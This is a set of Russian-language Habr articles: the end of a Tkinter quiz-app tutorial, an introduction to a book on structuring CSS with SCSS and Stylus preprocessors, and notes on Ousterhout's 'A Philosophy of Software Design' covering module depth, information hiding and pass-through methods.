**7. Пользователь нажимает кнопку "Следующий". Система переходит в состояние смены вопроса и вызывается метод next\_q.**
Первый важный момент:
```
# инкрементируем счётчик вопросов
self.qc += 1
```
Затем удаляем подсветку боксов и обновляем поля вопросов и ответов:
```
# определяем текущий индекс вопроса
index = order_list[self.qc]
# удаляем подсветку чекбоксов
for i, box in enumerate([self.box1, self.box2, self.box3, self.box4, self.box5]):
box['bg'] = 'white'
box.deselect()
# смена вопроса
self.quest.delete('1.0', 'end') # очищаем всё поле с индекса "1" до последнего "end"
self.quest.insert(tk.INSERT, Text_q[index]) # выводим следующий вопрос
```
И не забываем про index!
**8. Пользователь ответил на последний вопрос и нажал "Следующий" - высвечивается кол-во правильных ответов за весь тест.**
```
# когда ответили на все вопросы -> подводим итоги
if self.qc >= len(Text_q):
self.FinalScore = tk.Label(window, text=f'Всего правильных ответов: {self.true_points}', font=('Arial Bold', 15), fg='white', bg='grey')
self.FinalScore.place(x=360, y=210)
```
*С логикой работы разобрались)*
**Подытожим:**
* *Были обозначены* ***требования*** *к структуре файлов, для их корректной обработки приложением*
* *Рассмотрены* ***принципы*** *событийно-ориентированного программирования*
* *Написан GUI на базе библиотеки* ***Tkinter***
* *Описана* ***логика*** *работы приложения*
Всем успехов в написании собственных интересных и полезных APP. Делитесь ими, и кто-то обязательно их заценит ;) | https://habr.com/ru/post/656517/ | null | ru | null |
# Как верстать веб-интерфейсы быстро, качественно и интересно
Всем привет! Давно хотел и наконец написал небольшую книжку — бодрое пособие по своей профессиональной области: актуальным подходам к разметке интерфейсов, экранному дизайну и доступности. Она о моем оригинальном подходе к созданию GUI, препроцессорам CSS (для объективности, немного и об альтернативных подходах), и его эффективном практическом использовании с javascript и популярными реактивными компонентными фреймворками Vue и React. Материал представлен аккуратно последовательно, но безумно интенсивно и динамично — ничего лишнего или даже слишком подробного — для того чтобы увлеченный и подготовленный читатель не потерял интереса и «проглотил на одном дыхании». С другой стороны, текст, достаточно сложный ближе к концу, и на всем протяжении — густо насыщенный идеями, ссылками на технологии и подходы — поэтому, очевидно, будет «на вырост» начинающим. Но, в любом случае, как и если вы только начали интересоваться данной тематикой, так и если уже давно занимаетесь веб-дизайном, версткой и программированием фронтенда — вам может быть полезно на него взглянуть.
Мотивация
=========
Я уже много лет занимаюсь, прежде всего, разметкой интерфейсов, их оформлением и поведением, экранами и GUI. Участвовал на позиции верстальщика в небольших командах, стартапах, а также реализовал некоторое количество проектов самостоятельно как фрилансер, дизайнер и верстальщик. За это время я накопил некоторый опыт по специфическим проблемам в данной области, которым мне очень хочется поделиться.
Начну с некоторого огульно обобщающего и, поэтому, несколько провокационного наблюдения, «вброса»: большинство, не только начинающих, но даже опытных программистов испытывают своеобразное предубеждение-стереотип о некой «несерьезности» верстки интерфейса как отрасли деятельности в веб-индустрии — «верстка это не программирование!». Очень многие считают что заниматься разметкой «некруто и скучно» для «серьезного» специалиста. И как следствие — уделяют предмету мало своего внимания и времени, имеют мало реального релевантного опыта. Проще говоря, большинство разработчиков не любит и не умеет верстать. И уже и как причина и как следствие — зачастую сами подходы, технологии и архитектура используемые для организации GUI даже на серьезных коммерческих проектах — отставляют желать лучшего, не отвечают реалиям современной веб-индустрии, устарели и недостаточно эффективны. Неудачные, якобы временные, слабые решения и дальнейшие бесконечные быстрые «фиксы», кривые «кряки» наслаиваются друг-на-друга, кодовая база неоправданно распухает и становится все менее связной и контролируемой. Шаблоны, или ныне — в эру компонентных фреймворков — компоненты, стили и логика для них часто и закономерно превращаются в невнятную и крайне излишнюю по сути «свалку», «густой лес», «джунгли» **с очевидно неподъемной ценой рефакторинга и масштабирования**. Очевидно, что такое состояние системы может легко приводить к серьезным затруднениям, снижению темпов или даже срыву сроков и, ирония как раз в том, что в реальной коммерческой ситуации, авторам подобной громоздкой и неуклюжей системы, все равно придется потратить еще больше времени на то, чтобы, по крайней мере, исправить все оплошности и несовершенства разметки, оформления и логики для них, но делать это придется в изначально плохо организованном коде, по замкнутому кругу — только увеличивая беспорядок и вероятность сбоев. С того момента как вы перестаете быть «джуном», ваша ответственность состоит не только в том чтобы закрыть все «баги» на трекере и навернуть как можно скорее «фичи», любой ценой. Надежная и легко поддерживаемая система — продукт который вы продаете бизнесу.
Реальный жизненный кейс: будучи начинающим специалистом я работал удаленно в одном приятном стартапе. Когда проект запустили, после презентации многие присутствовавшие на ней высказались о том, что кегль основного текста и полей ввода в интерфейсе — мелковат. Получив задачу в трекере, я потратил всего пару минут, поправив одну переменную своей системы — чтобы поднять кегль на всех нужных полях и контролах, и еще 15 минут чтобы удостовериться что ничего действительно не сломалось ни на одном шаблоне. Ваша система изначально должна быть написана так, и только так, чтобы ее было можно легко скорректировать и улучшить, поддерживать и расширять. По-настоящему лаконичный и выразительный качественный код — невероятно мощно экономит время и нервы даже если вы работаете с проектом в одиночку. Кроме того, уважаемые авторитеты в коммерческом программировании утверждают [см. Роберт Мартин — «Чистая архитектура»] что «то что сделано изначально плохо» — в реальности, не только «никогда не будет переписано», но и приводит к постоянному крутому росту стоимости дальнейшей доставки нового функционала, а в перспективе способно полностью блокировать прогресс по проекту!
Хорошее понимание возможностей и ограничений современных браузерных технологий очень желательно и полезно не только для веб-разработчиков, но и для гуманитариев-дизайнеров проектирующих GUI. Часто даже востребованный специалист, выдающий приятный стиль и не делающих серьезных ошибок по UХ, не может внятно ответить на простейшие технические вопросы о своем дизайне при сдаче макета на верстку, то есть — «не понимает что рисует».
В этом пособии я стараюсь в достаточно доступной форме дать некоторые полезные идеи о современном экранном дизайне и эффективных способах его реализации для браузера. Я буду приводить конкретные примеры кода, но не ради специфических моментов и подробностей реализации, а, прежде всего, иллюстрируя и подчеркивая общие мысли, идеи, практические подходы, годные для написания крупных сложных современных проектов. Этот текст — не еще один занудный скучный учебник, а, скорее, «методичка углубленного спецкурса». Материал будет подаваться максимально интенсивно и насыщенно, и новичок может не справиться сходу с примерами кода или даже содержанием некоторых разделов. Не паникуйте. Важнее всего в нашей отрасли — научиться развиваться самостоятельно в выбранном направлении. Этот текст скорее призван помочь вам понять «что гуглить дальше?».
### Кому будет полезен текст?
**Начинающим**. Вы минимально освоились со спецификациями HTML и CSS, начали пробовать JavaScript, успешно сверстали свои первые страницы, макеты и «хотите большего», хотите получить некий «дружеский пинок под зад», который поможет вам осознать дальнейшие горизонты, выйти на новый уровень и начать получать больше удовольствия и удовлетворения, как и от самой этой деятельности, так и от ее результатов.
**Не верстающим как бог**. Вы давно занимаетесь веб-программированием, но верстаете «нехотя и по-старинке», при этом, осознаете свой пробел в знаниях и навыках, созрели для того чтобы отбросить оковы лени и невежества, переломить ситуацию — ведь на каждом проекте разработка GUI для вас это скучная трудная рутина и мука.
**Дизайнерам**. Вы веб-дизайнер, но хотите начать верстать.
**Эта работа о программировании дизайна и дизайне программных продуктов для фронтенда.** Стоит иметь ввиду, что она написана, скорее, веб-дизайнером для веб-программистов, чем веб-программистом для веб-дизайнеров, *хотя это и неточно*. Я решил разделить текст на две части:
### Препроцессор
В первой части представлена мощная практическая метода, дающая яркие идеи и четкие рекомендации по организации разработки стилей и разметки. Материал выбран таким образом, чтобы последовательно, но с крутой интенсивностью ввести, возможно даже, только еще минимально овладевшего HTML и CSS читателя, в мир удивительных возможностей препроцессора. Хочется показать, как можно стремительно организовать рабочую кухню, необходимую и достаточную для того чтобы эффективно создавать качественную адаптивную разметку. В этой части почти ничего не говорится о самом javascript, для того, чтобы, если читатель не освоил еще в достаточной степени язык программирования, но уже начал верстать — все равно смог бы все понять и начать внедрять на практике.
### Препроцессор, JavaScript и фреймворки
Вторая часть не такая злая. Она, например, показывает в увлекательной форме некоторые углубленные интересные кейсы современного экранного дизайна и вопросов связанных с доступностью веб-приложений. В ней речь идет о практическом применении подходов к препроцессору представленных в первой части, в связке с javascript для GUI, особенно в контексте компонентных фреймворков.
Левон Гамбарян.
Июнь 2020 года.
Препроцессор
============
---
Простейший пример плохого кода
------------------------------
Безобразного кода с каждым днем становится все больше, несмотря на то, что больнее всего страдают от этого сами авторы, горе-разработчики. И если определенную функциональность или рендер можно покрыть тестами, то ошибки оформления выявляются только «ручками».
Также, просто парадоксально, что все программисты слышали о простых основополагающих принципах качественного программирования [KISS](https://ru.wikipedia.org/wiki/KISS_(%D0%BF%D1%80%D0%B8%D0%BD%D1%86%D0%B8%D0%BF)) и [SOLID](https://ru.wikipedia.org/wiki/SOLID_(%D0%BE%D0%B1%D1%8A%D0%B5%D0%BA%D1%82%D0%BD%D0%BE-%D0%BE%D1%80%D0%B8%D0%B5%D0%BD%D1%82%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%BD%D0%BE%D0%B5_%D0%BF%D1%80%D0%BE%D0%B3%D1%80%D0%B0%D0%BC%D0%BC%D0%B8%D1%80%D0%BE%D0%B2%D0%B0%D0%BD%D0%B8%D0%B5)), но подавляющее большинство напрочь забывает о них, когда речь заходит об организации оформления, представления веб-интерфейса.
В реальной ситуации — заказчик, покупатель вашего кода в любой момент может захотеть внести любые правки, и вы должны быть максимально к этому готовы.
Давайте посмотрим на самый простейший пример плохого кода на CSS:
```
/* Примитивнейший пример обычного плохого кода на CSS */
/* Где-нибудь в файлах стилей: */
.selector--1 {
width: 200px;
height: 200px;
border: 1px solid #ADADAD;
border-radius: 3px;
/* ... и дальше еще огромное количество самых разных правил */
}
.selector--2 {
width: 200px;
height: 400px;
border: 1px solid #ADADAD;
border-radius: 3px;
/* ... и дальше еще огромное количество самых разных правил */
}
```
Не делайте так больше почти никогда! ))) Почему? Код валидный, «в браузере все по макету», да и все именно так обычно и пишут. Но все и не «верстают как бог», правильно? В контексте любого проекта чуть большего чем совсем крохотный, подобный код «плохой и чреват проблемами в будущем». Он **конкретен и невыразителен, излишен, его сложно модифицировать и переиспользовать**.
А как надо?
-----------
На сегодняшний день стандартной практикой для разработки CSS-кода является использование [Препроцессора](https://developer.mozilla.org/ru/docs/%D0%A1%D0%BB%D0%BE%D0%B2%D0%B0%D1%80%D1%8C/CSS_preprocessor), который отнюдь не превращает формальную спецификацию CSS в язык программирования, но дает синтаксису необходимую силу и мощь, актуальные возможности и эффективность. Если говорить совсем просто, то без него, **очень многие требования современного веб-дизайна иначе было бы крайне затруднительно реализовать, особенно в масштабе крупных проектов**.
Справедливости ради, нужно упомянуть, что последние годы, в связи с стремительным ростом популярности компонентных js-фреймворков и их подходов, все больше сторонников набирают также различные «CSS-in-JS»-реализации (например: [Styled Components](https://styled-components.com/)). Скоро, вероятно, можно будет спокойно использовать переменные в самом CSS ([CSS Custom Properties](https://developer.mozilla.org/ru/docs/Web/CSS/Using_CSS_custom_properties)). Тема холиварная, существуют контексты и ситуации когда подобный CSS-in-JS подход может оказаться более оправданным и изящным, без сомнения. И даже существует масса реалистичных кейсов когда проще всего будет действительно обойтись несколькими наборами правил на CSS, а любое его расширение будет излишним. Но в общем случае, в реальной коммерческой практике, имхо, для верстки сложных дизайнов и интерфейсов удобнее и эффективнее всего сейчас использовать любой препроцессор, и, шок — **даже с компонентным фреймворком**, дальше я планирую показать «как именно это лучше всего делать». Препроцессоры дают максимум возможностей и позволяют стремиться к максимальной выразительности и переиспользуемости. Вот во что превратился бы «плохой код» выше в SCSS-синтаксисе, наверное — самого популярного на сегодняшний день препроцессора — [Sass](https://sass-scss.ru/):
```
// В @/src/scss/utils/_variables.scss:
$colors__border: #adadad;
$border-radius: 3px;
// В @/src/scss/utils/_placeholders.scss:
%border-block {
border: 1px solid $colors__border;
border-radius: $border-radius;
}
// В @/src/scss/utils/_mixins.scss:
@mixin size($width, $height) {
width: $width;
height: $height;
}
// В любом месте проекта:
.selector {
$selector--1__size: 200px;
$selector--2__width: 200px;
$selector--2__height: 400px;
&--1,
&--2 {
@extend %border-block;
/* ... включение других сущностей препроцессора
и специфическиих правил общих для селекторов */
}
&--1 {
@include size($selector--1__size, $selector--1__size);
/* ... включение других сущностей препроцессора
и специфических правил уникальных для селектора */
}
&--2 {
@include size($selector--2__width, $selector--2__height);
/* ... включение других сущностей препроцессора
и специфических правил уникальных для селектора */
}
}
```
Точно тоже самое легко сделать и на, кажется, недооцененном, но очень удачном [Stylus](https://stylus-lang.com/) — совершенно не важно какой именно расширенный синтаксис вы используете, главное как и зачем. Очень много раз мне приходилось видеть плохой чужой код написанный якобы для препроцессора, видимо, «потому что так сейчас модно», но, на самом деле, практически ничем не отличающийся от кода CSS. Не делайте так! Препроцессор дает нам крайне ценную возможность абстрагировать общие качества гайдлайна, стиль и основанные на нем частные стили, организовать их намного более выразительно и лаконично, легко модифицировать и переиспользовать при необходимости.
В данном, вырванном из контекста, но, при этом, вполне жизненном примере, кажется, что кода препроцессора — сильно больше. Он еще и раскидан по нескольким разным файлам, что, как будто, еще все усложняет. Зачем так напрягаться, а? Прежде всего, привычка начинать писать разметку с переменных и обобщений — очевидно грамотная. Перестаньте плодить изолированные глухие кряки с магическими числами, начните применять абстракцию! Делайте хорошо сразу, потому что вы почти никогда и ничего не переделаете «потом», на самом деле. «Когда наш стартап наконец взлетит», и как раз во многом из-за такого отношения он может и не взлететь, в результате. Чем детализированнее и сложнее ваш интерфейс, его дизайн, тем больше строк и времени вы будете «экономить» просто оптимизируя общие наборы правил, переиспользуя стили. Кроме того, **поддерживать код и, тем более, вносить серьезные изменения будет на порядок проще**.
Первый пример демонстрирует что на начальных этапах развития проекта хорошо продуманного кода препроцессора может быть даже визуально несколько больше, чем неорганизованного, внутренне плоского, скучного CSS. Но давайте разберем очень часто встречающийся кейс, в котором мы очевидно сразу сильно экономим много трафика и явно оптимизируем возможную поддержку. Такое очень часто встречается: нам нужно создать большое количество, предположим — 20 штук — модификаторов одного селектора — квадратной иконки размеров в 100 пикселей — и поставить в них нужные картинки в бекграунд. В Sass мы можем написать цикл с [интерполяцией](https://sass-scss.ru/documentation/sassscript/interpolyatsiya/) для создания селектора модификатора и указания пути до ресурса. И хотя такая синтаксическая возможность не является чем-то идейно решающе важным — на практике она экономит кучу времени и повышает качество жизни на работе:
```
// В @/src/scss/utils/_variables.scss:
// Paths
$images__path--root: "../../assets/images/";
// Sizes
$icons__size: 100px;
// Views
$icons: 20;
// В любом месте проекта (в папке В @/src/scss/project/):
.icon {
// корректируем путь до картинок
$image-path: $image_path--root + "icons/";
@include size($icons__size, $icons__size); // эта примесь уже создана выше
@for $i from 1 through $icons {
&.icon--#{$i} {
background: url("#{$image-path}icon--#{$i}.svg") center center no-repeat;
}
}
}
```
Пример предполагает что в вашем проекте следующая структура:
```
.
└─ src
├─ assets
│ └─ images
│ └─ icons
│ ├─ icon--1.svg
│ ├─ icon--2.svg
│ └─ ...
└─ sscs
├─ project
│ └─ ...
└─ utils
├─ _mixins.scss
└─ _variables.scss
```
Теперь в шаблонах мы можем использовать:
Если вы желаете чтобы картинки были с осмысленными именами — можете перебирать список:
```
.icon {
$image-path: $image_path--root + "icons/";
$images: "name1", "name2", "name3"; // Список имен
@include size($icons__size, $icons__size);
@each $image in $images {
&.icon--#{$image} {
background: url("#{$image-path}#{$image}.svg") center center no-repeat;
}
}
}
```
Ну и раз уж мы упомянули интерполяцию, необходимо вспомнить еще один простой кейс, который сейчас часто нужен и в котором вам она точно пригодится — «посчитать с переменной»:
```
.selector {
$width: 100px;
width: calc(100vw - #{$width});
}
```
Используйте на полную мощность и изучайте подробно свои ключевые инструменты. Применяйте свой интеллект и фантазию. В хорошем коде препроцессора наборы правил не повторяются и какдый селектор содержит только небольшое количество объявлений. **Повторяющиеся и похожие наборы, большое количество самых разных объявлений в селекторах — признак плохо организованного кода**. Пока бесконечный поиск и замена остаются вашим главным и единственным инструментом рефакторинга кода разметки — вы живете в каменном веке веб-технологий и еще даже не начинали верстать!)
Абстрагируй все!
----------------
Что такое дизайн, если совсем кратко? **Дизайн — это «гайдлайн» — строгая система**, набор стилевых правил и ограничений, перечень констант, аксиом и отношений в разметке и оформлении интерфейса, которым он неукоснительно должен соответствовать. Задача верстальщика в том чтобы правильно воспринять эту систему и максимально эффективно перевести ее с языка графических прототипов в работающий по заявленным требованиям код.
Поэтому маниакально абстрагируй все что только можно. Все что должно и может быть переиспользовано и любые конкретные значения, те, которые, когда-нибудь, но, в принципе, могут измениться. К примеру, на Stylus:
```
// В @/src/stylus/utils/variables.styl:
$colors = {
mint: #44c6a8,
// ... другие конкретные значения цветов
}
// Создаем "основной цвет", абстрагируясь от конкретного цвета
$colors['primary'] = $colors.mint
// ... другие "функциональные" цвета
```
Любое имеющее глобальное значение и потенциально переиспользуемое качество гайдлайна и дизайна должно быть отражено в файле переменных препроцессора. Теперь в любом месте где потребуется предоставить основной «брендовый» цвет:
```
.selector
color $colors.primary
```
Очевидно, что если весь остальной код будет аккуратно использовать правильную переменную — просто «по щелчку пальцев» возможно изменить этот основной цвет по всему интерфейсу! Все это логично и закономерно приводить нас к идее некой **общей «стилевой базы», медиатора единого стиля оформления** интерфейса. Такую глобальную абстракцию легко способен предоставить препроцессор, и ее, вероятно, будет удобно использовать даже для оформления «изолированных» компонентов.
Структура и стилевая база препроцессора
---------------------------------------
Дальше я покажу определенную логичную и простую структуру организации файлов препроцессора, которую использую на проектах сам. Но вы можете что-то делать совсем иначе и, в результате, прийти к совсем другой, удобной именно для ваших методов работы системе. Важно не следовать каким-то зазубренным до автоматизма теориям и якобы «лучшим практикам», а гибко и к месту применять возможности, и даже, вероятно — все время немного экспериментировать, стараясь расти и меняться к лучшему. Категорически важно только то, что **ваши стили должны быть действительно всегда четко и понятно организованы**.
На практике во многих командах «вытесняют» и игнорируют выгоду от более продвинутых и аккуратных подходов к разметке. Ведь это требует определенных затрат на коммуникацию. Например, очень часто файлы стилей даже на препроцессоре — тупо и незамысловато «складируются в кучу» и практически никак не связаны друг-с-другом. Признайтесь себе наконец честно: даже аккуратная подробная компонентность, хоть и позволяет решить проблему на самом примитивном физическом уровне, она вообще не решает ее глобально, на уровне абстракций. Наоборот — **компонентность даже еще несколько затрудняет решение, так как строится именно на противоположных глобальности препроцессора, изолирующих подходах**. Ваша куча это по прежнему невыразительная невнятная неповоротливая куча, просто теперь она еще и разделена на множество подобных и глобально излишних куч, поменьше.
Но давайте уже организуем препроцессор, если с SCSS:
```
.
└─ src
└─ sscs
├─ core // обшие и компилируемые сущности препроцессора
│ ├─ _animations.scss // keyframes
│ ├─ _base.scss // минимальная нормализация основных HTML-элементов
│ ├─ _grid.scss // сетки
│ ├─ _typography.scss // типографика
│ └─ _utilities.scss // быстрые удобные классы-утилиты для включения прямо в разметку
├─ libraries // папка с файлами стилизаций сторонних модулей
│ └─ _modal.scss - например какая-нибудь готовая модаль
├─ project // стили конкретного проекта
│ ├─ _elements.scss // отдельные простые элементы-компоненты
│ ├─ _fixes.scss // этот файл всегда должен быть практически пустой, и предназначен только для редких общеизвестных "собственных проблем браузеров"
│ ├─ _layout.scss - стили общей для всех страниц GUI-обертки над контентом интерфейса
│ └─ _widgets.scss - сложные составные комбинации простых элементов-компонентов
├─ utils // обшие и некомпилируемые основные сущности препроцессора
│ ├─ _functions.scss // на практике нужны крайне редко
│ ├─ _mixins.scss // параметризируемые и способные принимать контент примеси-микстуры
│ ├─ _placeholders.scss // повторяющиеся наборы правил - растворы
│ └─ _variables.scss // самый важный файл с переменными )
├─ _main.scss // точка сборки всех стилей препроцессора
└─ _stylebase.scss // стилевая база
```
То есть, на самом деле — **порядок сборки всей кухни имеет значение**, конечно же:
```
// В @/src/scss/_stylebase.scss:
// Stylebase
//////////////////////////////////////////////////////
//////////////////////////////////////////////////////
// Uncompiled kitchen
@import "./utils/_functions";
@import "./utils/_variables";
@import "./utils/_mixins";
@import "./utils/_placeholders";
// Core base normal style and common utils
@import "./core/_animations";
@import "./core/_typography";
@import "./core/_base";
@import "./core/_grid";
@import "./core/_utilities";
// В @/src/scss/_main.scss:
// Project styles
//////////////////////////////////////////////////////
//////////////////////////////////////////////////////
// Stylebase for components
@import "_stylebase";
// App styles
@import "./project/_fixes";
@import "./project/_elements";
@import "./project/_widgets";
@import "./project/_layout";
/* External libraries customization */
@import "./libraries/_modal";
```
Итак, **«стилевой базой» мы будем называть некое основное ядро стилей, доступный всем остальным компонентам системы общий код препроцессора**. Более детально, он состоит из условно двух разных видов файлов:
1. Растворяемые при компиляции инструменты-помощники, сущности позволяющие генерировать лаконичный, оптимальный, связный код:
1. **функции**
2. **переменные**
3. **параметризуемые примеси**
4. **включения-плейсхолдеры**
2. Компилируемые глобальные стили:
1. **анимации keyframes**
2. **типографика**
3. **базовая нормализация основных HTML-элементов**
4. **сетки**
5. **утилитарные классы-помощники для разметки**
В папки `@/src/scss/project` и `@/src/scss/libraries` вы можете добавлять файлы по необходимости.
Удобно держать подобную минимальную «кухню» наготове в ваших стартовых проектах, чтобы с самого начала работы быстро настраивать стилизацию под конкретные требования и гайдлайн.
У меня вот, например, можно посмотреть — есть различные такие заготовки-«болванки» для быстрого старта на разных комбинациях актуальных технологий:
* [React c TypeScript и Stylus](https://github.com/ushliypakostnik/ts-react-stylus-i18next/tree/master/src/stylus);
* [Vue c SCSS](https://github.com/ushliypakostnik/vue-scss-i18next/tree/master/src/styles);
* [Webpack c SCSS и Nunjucks](https://github.com/ushliypakostnik/webpack-start/tree/master/src/scss).
Читать книжку дальше можно пройдя по ссылке: [Как верстать веб-интерфейсы быстро, качественно и интересно.](https://good-layout-book.netlify.app/start/#%D0%B0%D0%B4%D0%B0%D0%BF%D1%82%D0%B8%D0%B2%D0%BD%D0%B0%D1%8F-%D0%BA%D1%83%D1%85%D0%BD%D1%8F) | https://habr.com/ru/post/508064/ | null | ru | null |
# Заметки по книге «Философия разработки ПО»
Возможно, вы понимаете как писать хороший код, как придерживаться хорошего дизайна. Но структурировать эти знания не получается. Книга Джона Оустерхаута “A philosophy of software design” может помочь исправить это.
Она позволила структурировать знания, накопленные мною за 3 года работы разработчиком и исправить многие ошибки в понимании хорошего дизайна кода. Она помогла четче прояснить для себя, что же это такое.
Здесь я хочу сделать краткое изложение всей книги в виде заметок, которые я записывал, когда читал её.
О чем книга
-----------
Эта книга о том, как писать простой код. Автор считает, что именно простота является главным признаком хорошего дизайна. Следовательно, главной проблемой он считает борьбу со сложностью кода.
Он выделяет 2 пути борьбы со сложностью:
1. Писать более понятный код. За счет хороших комментариев, правильного именования переменных, простого интерфейса и реализации.
2. Инкапсулировать сложность. Другими словами — скрывать неважную информацию.
Далее я буду использовать термин “Модуль”. Модулем может быть класс, функция, внешнее API и т.д. В том же значении этот термин использует автор книги.
Что такое сложность
-------------------
Чтобы бороться со сложностью, нужно хорошо прояснить для себя, а что же это такое.
Симптомы сложности:
1. Небольшие правки в функциональности требуют изменений кода во многих местах.
2. Большая когнитивная сложность. Разработчику приходится изучить большое количество информации и держать многое в памяти, чтобы понять, как работает код.
3. Не очевидно, что необходимо менять в коде, чтобы изменить функционал.
Главные причины сложности:
1. Большое количество зависимостей
2. Неочевидные вещи в коде:
* Общие названия переменных
* несколько целей у переменных
* плохая документация
* неочевидные зависимости (или утечка зависимостей)
Ещё важно отметить, что сложность имеет свойство накапливаться. Мы не замечаем, как сложность кода повышается. Когда мы откладываем рефакторинг кода или не заботимся о его дизайне, незаметно для себя можем прийти в такое состояние, когда код ужасно сложный и очень тяжело добавить новые фичи.
По этой причине автор выделяет 2 подхода программирования, он называет их:
* тактическое
* стратегическое
В **тактическом программировании** мы думаем только о решении поставленной задачи, не задумываясь о дизайне кода. Мы решаем её первым пришедшим в голову способом, не думая о том, что возможно другое решение, которое проще для понимания.
Разработчиков, придерживающихся такого подхода автор называет **тактическое торнадо** — человек, который оставляет за собой легаси код, в стремлении сделать задачи как можно быстрее. Этот код очень трудно понять, даже ему самому.
**Стратегическое программирование** — мы ищем лучшее решение, рассматривая несколько вариантов. Оно состоит из двух условий:
1. проактивности — мы учитываем изменения и потребности в будущем и думаем о документации и понятности кода.
2. реактивности — исправляем очевидные проблемы в старом коде, а не только пишем новый.
Важно отметить, что в стратегическом программировании невозможно сразу написать полностью правильный код. В любом случае некоторые проблемы прояснятся в будущем. Поэтому важно исправлять эти проблемы в уже написанном коде сразу, как только они были замечены.
Многие стартапы могут не согласиться с таким утверждением. Для них критично выпустить фичу как можно быстрее, иначе они просто не смогут существовать. Если стартап находится в такой ситуации, конечно можно пренебречь качеством, но при первой возможности лучше сразу отрефакторить код.
Ниже представлен график отображающий, сколько времени приходится тратить на разработку по мере роста проекта в разных подходах.
Автор предлагает тратить 20% своего времени на исправление старого кода, иначе сложность будет копиться, его понимание будет занимать много времени.
Модули должны быть глубокими
----------------------------
Это означает, что реализация модулей должна быть гораздо больше интерфейса.
Интерфейс говорит о том, что делает модуль, а реализация — как она это делает.
В хорошем коде, когда мы создаем или изменяем модуль, нам важно знать интерфейсы используемых внутри модулей и не нужно знать их реализацию. Нам важно знать реализацию только изменяемого модуля.
Поэтому, чем проще интерфейс у используемых модулей, тем проще с ними работать. Чем больше методов, аргументов и нюансов использования имеет модуль, тем сложнее его интерфейс.
Интерфейс может быть:
1. Формальный — это сигнатура, публичные методы, свойства класса и т.д.
2. Неформальный — комментарии к модулю, нюансы работы.
Простота кода сильно зависит от абстракции — это упрощение понимания модуля, за счет сокрытия **не важной** информации. У абстракции могут быть 2 проблемы:
1. мало сокрытия — растет сложность интерфейса
2. много сокрытия — недостаточно информации о модуле, возникают ошибки при его использовании.
Если ваш модуль очень маленький, то скорее всего интерфейс этого модуля больше, чем его функционал.
Важно, чтобы модуль имел простой интерфейс и при этом большую функциональность, для того, чтобы интерфейс скрывал сложность кода. Но при этом не нужно сильно увлекаться сокрытием, иначе можем скрыть важную информацию, и в итоге не будем до конца понимать, как правильно работать с модулем.
Утечка информации
-----------------
Эта ситуация противоположна сокрытию информации.
Она происходит, когда нюансы реализации модуля просачиваются в другие модули, вынуждая переписывать код при изменении этих нюансов. Это может происходить через:
* Интерфейс
* Через back-door. Знания не описанные в интерфейсе, например, когда о формате файла знают несколько классов, хотя они важны только для одного. Такая утечка гораздо хуже утечки через интерфейс.
При обнаружении утечки, следует ответить на вопрос “Как изменить модули, чтобы знание влияло только на 1 класс?”. Возможно модули стоит объединить в один или вынести информацию наружу и обернуть её в более высокоуровневый модуль.
Временна́я декомпозиция
-----------------------
В процессе разработки мы часто размещаем информацию, основываясь на временной последовательности её выполнения. Например, если мы модифицируем файл, то можем разбить код на 3 класса: чтение, модификация и перезапись файла. При таком разбиении, в чтении и перезаписи файла нам придется знать о формате файла, тогда возникнет утечка информации.
Модуль должен быть завязан на знании, а не последовательности выполнения. Потому что модули должны быть переиспользуемыми. Модуль может быть нужным для совершенно другой задачи, без привязки к конкретной последовательности выполнения.
Общецелевые модули
------------------
Это модули с заделом на будущее, с возможностью использовать где-то ещё.
Преимущество таких модулей в том, что они не сильно привязаны к текущей задаче и склоняют вас делать интерфейс проще и универсальней.
В таким модулях лучше сначала описать интерфейс, а затем реализовать только те методы, которые нужны в текущей задаче.
Вопросы, которые помогут создать общецелевой интерфейс:
1. Какой самый простой интерфейс покроет все мои нужды?
2. В скольких ситуациях этот метод будет использован? Если только в одной, то скорее всего вы делаете интерфейс неправильно.
3. Насколько легко использовать интерфейс в данный момент?
Разные слои, разные абстракции
------------------------------
В хорошо спроектированной системе есть разные слои абстракции кода, более высокоуровневый код использует модули на более низком уровне.
Какие проблемы на разных слоях абстракции могут возникать:
* Прокинутые методы — когда результат выполнения метода просто прокидывается на более высокий уровень, без каких либо обработок. Выглядит это вот так:
```
public function foo() {
return this->bar();
}
```
Такой случай, как правило, только усложняет код. Проблема здесь в том, что ответственности разных классов пересекаются.
Исключением являются методы — диспетчеры, которые отвечают за выбор нужного метода для вызова.
Также, декораторы используют проброшенные методы. Поэтому их стоит использовать осторожно и только в крайнем случае.
* Прокинутые переменные — когда переменные прокидываются вглубь к более низкоуровневым классам без обработок. Выглядит это так:
```
public function foo(SomeClass variable) {
$this->bar(variable);
}
```
Проблема здесь в том, что зависимость никак не используется в промежуточных слоях. К тому же, усложняется интерфейс каждого метода, через который прокидывается переменная, потому что мы просто принимаем аргумент и ничего с ним не делаем, а только передаем дальше.
Лучшее решения для такой ситуации — это использовать DI контейнер. Это не идеальное решение, оно может привести к неочевидным зависимостям, поэтому его следует использовать осторожно. Для того чтобы избежать многих проблем, переменные в контейнере можно делать неизменяемыми (immutable).
Старайтесь не перекладывать ответственность на верхний уровень
--------------------------------------------------------------
Не перекладываете ответственность на пользователей данного модуля насколько это возможно. Решайте как можно больше проблем внутри. (Пользователь — это не только человек, но и высокоуровневый модуль, который использует модуль).
Например, мы можем дать возможность настроить параметры модуля снаружи. Но может оказаться такая ситуация, когда параметры окажутся несовместимы, и эту проблему придется решать пользователю. Сначала стоит подумать, возможно ли определить эти параметры автоматически внутри.
Модуль должен выполнять свои обязанности до конца. В конце разработки модуля следует сделать дополнительные усилия и подумать, есть ли возможность скрыть лишние знания от пользователя.
Разделить или объединить
------------------------
Для улучшения дизайна кода, часто, необходимо либо разделить модуль на несколько, либо наоборот объединить с другим. Чтобы понять, стоит ли объединять, рассмотрим признаки для объединения:
1. Модули обращаются к общей информации.
2. Используются совместно. Один нельзя использовать без другого.
3. Решают общую задачу.
4. Тяжело понять одну часть кода без другой.
5. Если после объединения интерфейс упростится.
Разбивать код можно на общецелевой и специализированный. Если в модуле есть часть кода, которая может быть нужна в других задачах, то её стоит выделить отдельно и использовать внутри второго. То же самое с повторами в коде, это признак того, что повторяемая часть — это общецелевой модуль.
Специализированный код — это та часть кода, которая очевидно нужна только в конкретной задаче.
Если, после разделения метода или выделения подметода, приходится переключаться между ними, чтобы понять как они работают — это признак того, что методы разбиты неправильно или их не нужно разбивать. Дочерний метод не должен знать о том, где его используют.
Выделенный метод становится, в каком то смысле, общецелевым, и в перспективе его могут переиспользовать.
